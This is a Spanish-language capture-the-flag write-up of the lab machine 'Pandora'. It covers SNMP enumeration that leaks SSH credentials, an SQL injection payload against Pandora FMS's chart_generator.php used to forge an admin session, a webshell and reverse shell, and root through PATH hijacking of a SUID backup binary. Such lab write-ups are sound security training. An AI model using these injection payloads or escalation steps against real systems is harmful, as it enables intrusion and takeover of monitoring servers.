Resumen

Write-up de la máquina Pandora (Easy). Pandora expone SSH (22/tcp) y una web (80/tcp) que no aporta mucho. La pista clave es revisar UDP, donde aparece SNMP (161/udp) con community string public. A partir de ahí conseguimos credenciales, pivoteamos a una instancia interna de Pandora FMS, explotamos una SQLi para secuestrar sesión de admin, subimos una webshell y finalmente escalamos a root mediante PATH hijacking en un binario SUID que invoca tar sin ruta absoluta.

Imagen del post

Enumeración

Enumeración TCP

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Play | Landing
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

La web en el puerto 80 solo mostraba una landing con formulario de contacto. No encontré una vía clara por ahí.

Enumeración UDP

Siguiendo la pista, enumeramos UDP y encontramos SNMP:

PORT    STATE SERVICE VERSION
161/udp open  snmp    SNMPv1 server; net-snmp SNMPv3 server (public)

Notas rápidas:

  • SNMP suele usarse para monitorización y gestión remota.
  • public es una community string típica y, si está expuesta, suele filtrar información sensible.

Enumeración SNMP y acceso inicial

Usamos snmpbulkwalk para volcar información:

snmpbulkwalk -c public -v2c 10.10.11.136

Imagen del post

En la salida aparecen credenciales:

  • daniel:HotelBabylon23

Con estas credenciales entramos por SSH.

Imagen del post


Post-explotación (usuario) y pivote a servicio interno

Dentro, al revisar directorios, vemos que user.txt pertenece a matt:

daniel@pandora:/home/matt$ ls
user.txt

daniel@pandora:/home/matt$ cat user.txt
cat: user.txt: Permission denied

Necesitamos escalar o conseguir acceso como matt.

Durante la enumeración detectamos otra web interna. Hacemos port forwarding del puerto 80 remoto para acceder desde nuestra máquina.

Intentamos autenticarnos con las credenciales de daniel y no funciona.

Imagen del post

En el footer se observa la versión del producto, lo que nos lleva a investigar vulnerabilidades conocidas.


SQLi en Pandora FMS (chart_generator.php)

Probamos el endpoint vulnerable para confirmar la inyección:

curl -sG 
localhost:80/pandora_console/include/chart_generator.php
 --data-urlencode "session_id='" | head -1

Identificamos que es una SQLi error-based en una consulta del estilo:

SELECT * FROM tsessions_php WHERE `id_session` = '$session_id' LIMIT 1

Imagen del post

Determinar número de columnas

Probando UNION SELECT:

  • Con 1 y 2 columnas falla.
  • Con 3 columnas devuelve HTML correctamente.

Conclusión: la tabla devuelve 3 columnas.

Dumpeo con sqlmap

Usamos sqlmap para extraer contenido de tsessions_php y encontramos una sesión de matt:

Imagen del post

| g4e01qdgk36mfdh90hvcc54umq | id_usuario|s:4:"matt";alert_msg|a:0:{}new_chat|b:0; | 1638796349  |

Con esa sesión obtenemos acceso al panel como matt.

Imagen del post


Escalada a admin (secuestro de sesión)

Como matt no tenemos permisos de admin (no podemos subir ficheros). La solución es forzar una sesión de admin inyectando el contenido del campo data.

session_id=' union select 1,2,'id_usuario|s:5:"admin";'-- -

Esto nos devuelve un id_session válido para admin.

Imagen del post


RCE: subida de webshell

Con sesión de admin subimos una shell.php. En el sistema aparece en:

/var/www/pandora/pandora_console/images/shell.php

Accedemos a la webshell y lanzamos reverse shell (en mi caso funcionó mejor con la de pentestmonkey).

Imagen del post

Imagen del post


Escalada a root (PATH hijacking en binario SUID)

Enumeramos binarios SUID:

find / -perm -4000 2>/dev/null

Destaca /usr/bin/pandora_backup.

Al inspeccionar el binario se aprecia que invoca tar sin ruta absoluta. Esto permite PATH hijacking: si controlamos PATH y colocamos un ejecutable llamado tar antes que el real, el binario SUID ejecutará nuestro payload como root.

Ejecución

Desde la reverse shell no funcionó de forma fiable, pero por SSH sí (tras preparar claves).

Imagen del post

Una vez ajustado el PATH y ejecutado pandora_backup, obtenemos ejecución como root.